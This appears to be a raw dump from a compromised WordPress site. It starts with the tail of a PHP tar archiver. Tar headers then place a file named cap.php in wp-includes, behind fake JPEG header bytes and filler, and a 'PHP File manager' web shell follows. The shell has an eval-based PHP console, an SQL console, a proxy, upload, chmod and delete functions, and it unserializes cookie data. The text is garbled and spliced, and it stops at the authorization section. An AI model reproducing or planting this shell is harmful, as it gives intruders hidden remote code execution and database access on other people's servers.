			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
